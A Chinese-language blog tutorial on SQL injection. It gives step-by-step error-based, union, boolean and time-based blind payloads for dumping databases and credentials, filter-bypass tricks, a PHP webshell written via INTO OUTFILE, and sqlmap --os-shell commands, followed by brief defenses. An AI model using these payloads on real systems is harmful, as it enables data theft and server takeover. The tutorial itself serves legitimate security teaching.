当前位置: 首页 > news >正文

挖漏洞之SQL注入

(一)漏洞原理

1、 漏洞原理

SQL注入的原理是,是应用系统没有对传递的参数进行过滤,让参数直接拼接到SQL语句中,攻击通过对参数进行篡改,当参数传递到数据库中,逻辑上就会发生变化,就产生新SQL语句,造成一些不好后果

2、案例讲解

假如某业务查询功能,一般实现过程是:后端接受参数,带入查询语句中,再把查询内容返回前端,这是语句的实现:

$userID = $_POST['userID'];
$sql = "SELECT * FROM users WHERE userID = '$userID';

攻击者通过拦截到userID参数,对其植入恶意代码:userID = ' OR 1 = 1 --+
最终SQL语句变成:

SELECT * FROM users WHERE userID = ' ' OR 1 = 1 --+
 

这条 SQL 语句查询出了 users 表中的所有数据,因为 OR 1=1 永远为真。攻击者可以进一步利用这个漏洞来获取更多的数据或执行其他操作,甚至删除数据表

所以,我认为SQL漏洞的本质,就是想进方法向参数中注入恶意代码,当参数传递到数据库中,SQL语句就发生了变化,执行之后就会产生SQL注入漏洞。

(二)漏洞分类

1、按照请求类型分类:

  • GET型:通过修改URL中的参数值来注入恶意SQL语句。
  • POST型:通过修改POST请求中的参数值来注入恶意SQL语句
  • Cookie注入型:在请求头的Cookie参数中注入恶意的SQL语句,

2、按照字符类型分类:

  • 数字型:攻击者试图将SQL代码注入到数字型的数据字段中。通常在后面加入测试语句:and 1=1
  • 字符型:将SQL代码注入到字符型的数据字段中,通常在后面加入测试语句:’or 1=1

3、按照测试方法测试:

  • 报错:这是基于应用程序在处理错误时返回详细信息的漏洞,通过构造恶意的SQL语句来触发应用程序产生错误,并从错误信息中获取敏感数据或执行其他恶意操作,
  • 延时:这是一种利用在响应时间上的差异来判断漏洞的攻击方法,通过构造恶意的SQL语句,利用数据库管理系统的延时函数来判断查询是否成功执行,并据此推测SQL注入漏洞的存在,利用sleep()或benchmark()等函数让mysql执行时间变长
  • 盲注型:攻击者无法直接从响应中获取有关注入结果的详细信息,然后通过构造特定的SQL语句,利用在不同条件下的响应差异来推断查询的结果,常用构建盲注函数:substr()、Left()、ORD()
  • 布尔型:在响应中的布尔条件语句的结果来判断查询是否成功执行的一种攻击方法。通过构造恶意的SQL语句并观察应用程序的响应,来推断SQL查询的结果,结果根据false和true不返回数据库数据

(三)基本测试方法

1、SQL注入常出现位置:

只要需要带入到数据库中的参数有可能存在SQL注入,常见位置如下:

用户输入表单:用户可以通过网站的表单(如搜索框、注册表单、登录表单等)提交数据给服务器

  • URL参数:URL参数是传递给应用程序的一种常见方式,产生url参数有两个来源,一是get请求会生成url参数,还有一个是隐藏的参数,网站使用隐藏字段来存储数据,这些字段可以在表单提交时自动包含在请求中。
  • Cookies:cookies本身不会发生sql注入,可能会引发sql注入是因为,cookie是网络中识别用户身份的特殊文本,当开发人员在使用Cookie中存储的数据时,如果未进行适当的数据验证和处理,从而直接将Cookie数据用于SQL查询,就可能导致SQL注入漏洞的发生
  • HTTP头信息:攻击者通过修改HTTP请求的头部信息中的值来注入恶意的SQL语句(UserAgent、Referer,等),这些自动生成并发送给服务器的头信息,本身不会导致sql注入,在某些情况下,攻击者可能会尝试使用特殊字符来触发应用程序中的漏洞,

2、基本测试过程如下:

第一步,找注入点:在参数后面加入单引号等特殊字符,查看是否引起报错,或是修改参数的值,观察对输入是否过滤和转义

第二步,找回显点,没有回显,测试盲注和延时。前面尝试通过加入特殊字符或者修改值引起报错,如果有报错信息就测试抱错型SQL注入,没有则测试盲注和延时注入

第三步,写poc,根据测试结果编写利用该漏洞的 POC,常见的通用payload如下(基于MySQL):

        爆破数据库:group_concat(schema_name) from information_schema.schemata  
        爆破数据表:group_concat(table_name) from information_schema.columns where                 table_schema=database() 
        爆破字段:group_concat(column_name) from information_schema.columns where                 table_name='表名' 
        爆破字段内容:group_concat(username,0x7e,password) from 表名 

3、报错型SQL注入:

第一步,查找引起报错的特殊字符,一般是单引号或者双引号: ?id=1'   或 ?id=1"

第二步,判断字段个数:?id=1'  and 1=1 order by N --+   N从1开始测试,出现报错的时候说明有N-1个

第三步,找回显点:返回报错信息的地方,就是回显点,但有时候没有,那就需要自己寻找,常见方法: union select 1,2,3...N--+    其中N是字段个数

第四步:找注入点, ?id= -1'  union select 1,2,3--+ 中 2,3都是注入点
第五步:爆破数据库: ?id= -1'  union select 1,2,database()--+  找到注入点之后,就是把上面的payload换到注入点中,下面6,7,8步骤也一样的

第六步:爆破数据表:?id= -1'  union select 1,2,(group_concat(table_name) from information_schema.columns where table_schema=database())--+

第七步:爆破字段:?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='数据表' --+

第八步:爆破字段内容:?id=-1' union select 1,2, group_concat(username,0x7e,password) from 数据表 --+

4、盲注型SQL注入

当没有特殊符号没有回显的时候,就测试盲注,盲注可以分为布尔盲注和延时盲注,

  • 布尔盲注是,语句中采用了if语句判断,条件为真则回显内容,接着布尔环境下,来判断是否执行,成功执行,就是存在SQL注入漏洞
  • 延时盲注是,借助延时函数,来判断是否执行,如果延时执行,则说明存在SQL注入

区别是就是注入点构造不同

1、布尔盲注

?id=1'   成功执行,内容消失,
?id=1' and 1=1 --+  成功执行,内容显示

?id=1' and 1=2 --+  成功执行,内容消失

第一步:找注入点:经过测试找到:?id=1' or 1=1 其中1=1就是注入点,表达式为true

第二步:判断数据库长度:?id=1' or length(database())=8 --+   如果数据库长度为8 条件就为true,就会显示内容,从1开始慢慢测试,database()是查询当前数据库,换成查询数据表,则可以判断数据表长度

第三步:爆破数据库:

        猜测第一个字母:?id=1' or ascii(substr(database(),1,1))= 115--+    //115是s的ascii编号

        猜测第二个字母:?id=1' or ascii(substr(database(),2,1))

第四步:猜测数据表长度:?id=1' and  (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>6 --+

        limit 0,1表示第一个表
        limit 1,1表示第二个表

第五步:爆破数据表:和猜测数据库一样

?id=1' or ascii(substr(((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1))= 115

第六步:爆破字段长度:

第七步:爆破字段内容:

2、延时盲注
?id=1'  正常响应
?id=1' and sleep(5) --+     明显延长5秒中显示

第一步:爆破数据库长度:?id=1' and if(length(database())=8,sleep(5),0)

第二步:爆破数据库:?id=1' and if(ascii(mid(database(),1,1))<=135,sleep(5),0) --+ 从第一个字母爆破开始,逐渐爆破

第三步:爆破数据表长度

第四步:爆破数据表

第五步:爆破字段个数

第六步:爆破字段

盲注需要用到的函数:extractvalue()、updatexml()、floor()

1、extractvalue()函数:用于从 XML 类型的数据中提取指定节点的值

extractvalue(xml_document, xpath_expression)

爆破数据库:?id=-1'   and  extractvalue(1,concat(0x7e,database(),0x7e)) --+
database()是注入点,只需要把查询更换就可以查询数据表或字段

爆破数据表:?id=-1'   and  extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e)) --+

2、updatexml()函数:用于在 XML 类型的数据中更新或插入某个节点

updatexml(xml_document, xpath_expression, new_value)

爆破数据库:?id=-1'   and  updatexml(1,concat(0x7e,database(),0x7e),1) --+
database()是注入点,只需要把查询更换就可以查询数据表或字段

爆破数据表:?id=-1'   and  updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e),1) --+

3、foolr函数()

爆破数据库:?id=-1'  union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
database()是注入点,只需要把查询更换就可以查询数据表或字段

爆破数据表:?id=-1'  union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+

5、HTTP头注入

HTTP 头部注入攻击和 SQL 注入攻击是其实两个不同的概念,但是有时候,HTTP 头部注入攻击有时候会直接导致 SQL 注入攻击,这是因为系统需要接受这些头部参数,来是识别一些信息,然后又没有做合适的过滤,导致攻击者可以在http头部参数注入恶意代码,最终导致sql注入

常见的HTTP头部注入:

  • UA 注入: User-Agent 头中引起sql注入
  • Host 注入:Host中引起sql注入
  • Referer 注入:Referer 头引起sql注入
  • XFF注入:在X-Forwarded-For头引起sql注入
  • cookie注入,在cookie的引起sql注入

此外,其他一些HTTP头都有可能存在SQL注入,

6、堆叠注入

第一步判断堆叠注入:直接在sql语句中,加上分号,在写一个sql语句,看是否成功执行

第二步:直接查询,像上面一样,先查询数据库,其次数据表,字段,字段内容

7、宽字节注入

第一步判断宽字节注入:在参数后加入%df等,查看是否成功执行,比如引发报错,等

第二步:和上面一样,先查询数据库,其次数据表,字段,字段内容

8、二次注入

二次注入:已存储(数据库、文件)的用户输入被读取后,再次进入到 SQL 查询语句中导致的注入

(四)进阶测试方法

进阶测试方法是,目标网站有防御措施的情况下,进行测试的方法

1、针对过滤的绕过方法

  1. 过滤空格:注释符/**/绕过、编码(url、ascii)绕过、浮点数绕过、Tab替代空格、两个空格替代一个空格、括号绕过、Emoji绕过、回车代替空格,--%0a代替空格
  2. 过滤引号:使用16进制绕过
  3. 过滤逗号:from关键字绕过、join关键字绕过、like关键字绕过、offset关键字绕过,substr(),mid(),limit函数绕过
  4. 过滤注释符(# --):手动闭合引号,不使用注释符
  5. 过滤比较符号 ( < 和 > ):使用greatest()、least()函数绕过、使用between and绕过
  6. 过滤等号( = ):使用like 、rlike 、regexp过滤、 使用<或>过滤
  7. 过滤or and xor not:使用符号代替(and=`&&`  or=`||`   xor=`|`   not=`!`)
  8. 过滤union,select,where等关键字:使用注释符绕过、使用大小写绕过、使用内联注释绕过、双关键字绕过、加号+拆解字符串绕过、语法新特性绕过屏蔽、分割关键字绕过、编码绕过

2、针对次数限制的绕过方法:

延时注入:设置延时时间

(五)利用方式

  • 获取后台数据库中存放的目标的隐私信息,并进一步利用这些信息渗透拓展;

  • 对目标网站挂马,进一步有针对性地开展钓鱼攻击;

  • 获取后台应用系统的控制权限,进一步控制后台服务器
    方式一:通过SQL注入写入文件获取webshell

    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/webshell.php'
    将恶意代码写入webshell文件。
    攻击者可以通过访问webshell文件并提供系统命令参数来控制服务器
    指定目标服务器上可访问的路径和文件名,确保写入的webshell文件能够被访问到
    

    方式二:通过这个SQLMAP的这个 --os-cmd这种参数来进行webshll

    
    sqlmap -u "http://target.com/vuln.php?id=1" --os-cmd="ls -la > /var/www/html/webshell.txt"
    使用–os-cmd参数执行操作系统命令并将结果输出到webshell文件
    在注入成功后,可以通过浏览器或其他工具访问webshell文件,获取对服务器的控制权
    

    方式三:就是--os-shell的方式来进行写webshell

    sqlmap -u "http://target.com/vuln.php?id=1" --os-shell
    使用–os-shell参数与目标服务器建立交互式的shell连接
    成功建立shell连接后,可以执行各种命令、浏览目录、上传和下载文件等操作,从而控制服务器

(六)防御方法

  • 参数化查询接口,因为参数化的一个查询接口的话 他可以做到参数的一个过滤和执行重用 可以保障这个SQL语句的语义不改变,保持一个原始的一个查询意思,简单的说, 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑 所以就算在参数中写入了一些恶意的指令 SQL服务器她也不会去执行这个指令的

  • 对所有的用户输入进行严格的验证和过滤,对关键字或者特殊字符,确保输入数据符合预期的格式和类型(关键字:and、or、select、declare、update、xp_cmdshell,特殊字符:’、”、;)

  • 配置额外的配置,避免打印SQL的一些错误消息出来

  • 限制数据库用户的权限,确保数据库用户只能执行必要的操作,并限制其对数据库结构的访问权限

相关文章:

挖漏洞之SQL注入

&#xff08;一&#xff09;漏洞原理 1、 漏洞原理 SQL注入的原理是&#xff0c;是应用系统没有对传递的参数进行过滤&#xff0c;让参数直接拼接到SQL语句中&#xff0c;攻击通过对参数进行篡改&#xff0c;当参数传递到数据库中&#xff0c;逻辑上就会发生变化&#xff0c;就…...

面试篇之微服务(二)

目录 服务容灾 21.什么是服务雪崩&#xff1f; 22.什么是服务熔断&#xff1f;什么是服务降级&#xff1f; 什么是服务熔断&#xff1f; 什么是服务降级&#xff1f; 有哪些熔断降级方案实现&#xff1f; 23.Hystrix怎么实现服务容错&#xff1f; 24.Sentinel怎么实现限…...

java封装详解

/*** Description 封装详解*/ package com.oop;import com.oop.demo04.Student; /*1.提高程序的安全性&#xff0c;保护数据2.隐藏代码的实现细节3.统一接口4.系统可维护增加了*/ public class Application {public static void main(String[] args) {Student s1 new Student(…...

Make sure bypassing Vue built-in sanitization is safe here.

一、问题描述 二、问题分析 XSS(跨站脚本攻击) XSS攻击通常指的是通过利用网页开发时留下的漏洞&#xff0c;通过巧妙的方法注入恶意指令代码到网页&#xff0c;使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript&#xff0c;但实际上也可以包括J…...

企业的内容站点SEO应该怎么做更有效果?

在当今数字化时代&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;已成为企业内容站点不可或缺的一部分。通过优化网站的结构、内容和链接等方面&#xff0c;企业可以提高其在搜索引擎中的排名&#xff0c;吸引更多的潜在客户&#xff0c;并增加品牌曝光度。那么&#xff…...

mac电脑下载Netflix Mac(奈飞客户端)安装教程

Netflix Mac&#xff0c;奈飞官方客户端&#xff0c;带给您无限的电影和剧集体验&#xff01;与朋友分享最新热门剧集、电影&#xff0c;与家人一起享受高品质的流媒体内容。 通过Netflix Mac&#xff0c;您可以轻松地搜索、浏览和观看各种类型的影片&#xff0c;包括剧情片、…...

PCL 计算点云图中任意两点的欧式距离

目录 一、算法原理二、代码实现三、结果展示四、相关链接本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫与GPT。 一、算法原理 使用PCL实现在可视化界面上用鼠标点选两个点,输出两点的坐标和两点之间的欧式距离。 二、代码…...

使用OssImport 工具将文件上传到阿里云OSS

前言 OssImport 工具由阿里云OSS 提供 使用 OssImport 将文件上传到阿里云OSS 参考这里 参考 使用OssImport 将阿里云服务器ECS上的文件上传到阿里云OSS ossimport概述 使用ossimport迁移数据...

充电桩新老国标兼容性分析

1、背景介绍 1.1、充电桩相关标准发展历程 1.2、兼容性分析历史 1.3、兼容性分析的目的 1.4、兼容性分析的内容 2、B类协议兼容性分析 2.1、协议分层结构 2.2、链路层分析 2.3、版本协商与链路检测 ## 2.4、传输层分析 2.5、应用层 2.5.1、应用层数据 2.5.2、应用层数据…...

ApiSix的docker 容器化部署及使用

⼀&#xff0e;etcd安装 Docekr安装Etcd 环境准备 此处安装&#xff0c;是利⽤下载的 etcd 源⽂件&#xff0c;利⽤ docker build 构建完整镜像&#xff0c;具体操作如下&#xff1a; 1.环境准备 1.1. 新建⽂件夹 在磁盘某个路径下新建⼀个⽂件夹&#xff0c;⽤处操作 Dockerfi…...

第十节HarmonyOS 使用资源引用类型

Resource是资源引用类型&#xff0c;用于设置组件属性的值。推荐大家优先使用Resource类型&#xff0c;将资源文件&#xff08;字符串、图片、音频等&#xff09;统一存放于resources目录下&#xff0c;便于开发者统一维护。同时系统可以根据当前配置加载合适的资源&#xff0c…...

ntopng如何将漏洞扫描与流量监控相结合,以提高网络安全性

来源&#xff1a;艾特保IT 虹科干货 | ntopng如何将漏洞扫描与流量监控相结合&#xff0c;以提高网络安全性 欢迎关注虹科&#xff0c;为您提供最新资讯&#xff01; ntopng为人所知的“身份”是被动流量监控。然而&#xff0c;如今的ntopng6.0也进化出主动监控功能来&#xf…...

使用coco数据集进行语义分割(1):数据预处理,制作ground truth

如何coco数据集进行目标检测的介绍已经有很多了&#xff0c;但是关于语义分割几乎没有。本文旨在说明如何处理 stuff_train2017.json stuff_val2017.json panoptic_train2017.json panoptic_val2017.json&#xff0c;将上面那些json中的dict转化为图片的label mask&am…...

神经网络 模型表示2

神经网络 模型表示2 使用向量化的方法会使得计算更为简便。以上面的神经网络为例&#xff0c;试着计算第二层的值&#xff1a; 我们令 z ( 2 ) θ ( 1 ) x {{z}^{\left( 2 \right)}}{{\theta }^{\left( 1 \right)}}x z(2)θ(1)x&#xff0c;则 a ( 2 ) g ( z ( 2 ) ) {{a}…...

ubuntu使用SSH服务远程登录另一台设备

1、安装openssh-client和openssh-server 查看当前的ubuntu是否安装了ssh-server服务。默认只安装ssh-client服务。 dpkg -l | grep ssh查看有没有openssh-client的相关字眼。 2、安装ssh-server服务&#xff08;受控制方&#xff09; sudo apt-get install openssh-server再…...

读书笔记:《Effective Modern C++(C++14)》

Effective Modern C&#xff08;C14&#xff09; GitHub - CnTransGroup/EffectiveModernCppChinese: 《Effective Modern C》- 完成翻译 Deducing Types 模版类型推导&#xff1a; 引用&#xff0c;const&#xff0c;volatile被忽略数组名和函数名退化为指针通用引用&#…...

PCL 点云加权均值收缩

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 受到之前Matlab 加权均值质心计算(WMN)的启发,我们在计算每个点的加权质心时可以很容易的发现,他们这些点会受到周围邻近点密度的影响,最后会收缩到某一个区域,那么这个区域也必定是我们比较感兴趣的一些点,…...

计算机毕业设计 基于协同推荐的白酒销售管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…...

React-hook-form-mui(五):包含内嵌表单元素的表单

前言 在上一篇文章中&#xff0c;我们介绍了react-hook-form-mui如何与与后端数据联调。在实际项目中&#xff0c;从后端获取的数据可能是复杂的数据对象&#xff0c;本文将介绍&#xff0c;如何通过react-hook-form-mui实现一个包含内嵌表单元素的表单 Demo 以下代码实现了…...

【内网安全】搭建网络拓扑,CS内网横向移动实验

文章目录 搭建网络拓扑 ☁环境CS搭建,木马生成上传一句话&#xff0c;获取WebShellCS上线reGeorg搭建代理&#xff0c;访问内网域控IIS提权信息收集横向移动 实验拓扑结构如下&#xff1a; 搭建网络拓扑 ☁ 环境 **攻击者win10地址&#xff1a;**192.168.8.3 dmz win7地址&…...

【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15

缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下&#xff1a; struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

CMake基础:构建流程详解

目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

visual studio 2022更改主题为深色

visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中&#xff0c;选择 环境 -> 常规 &#xff0c;将其中的颜色主题改成深色 点击确定&#xff0c;更改完成...

ServerTrust 并非唯一

NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...

Ascend NPU上适配Step-Audio模型

1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统&#xff0c;支持多语言对话&#xff08;如 中文&#xff0c;英文&#xff0c;日语&#xff09;&#xff0c;语音情感&#xff08;如 开心&#xff0c;悲伤&#xff09;&#x…...

12.找到字符串中所有字母异位词

&#x1f9e0; 题目解析 题目描述&#xff1a; 给定两个字符串 s 和 p&#xff0c;找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义&#xff1a; 若两个字符串包含的字符种类和出现次数完全相同&#xff0c;顺序无所谓&#xff0c;则互为…...

DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”

目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...

Android第十三次面试总结(四大 组件基础)

Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成&#xff0c;用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机&#xff1a; ​onCreate()​​ ​调用时机​&#xff1a;Activity 首次创建时调用。​…...

为什么要创建 Vue 实例

核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...

在RK3588上搭建ROS1环境:创建节点与数据可视化实战指南

在RK3588上搭建ROS1环境:创建节点与数据可视化实战指南 背景介绍完整操作步骤1. 创建Docker容器环境2. 验证GUI显示功能3. 安装ROS Noetic4. 配置环境变量5. 创建ROS节点(小球运动模拟)6. 配置RVIZ默认视图7. 创建启动脚本8. 运行可视化系统效果展示与交互技术解析ROS节点通…...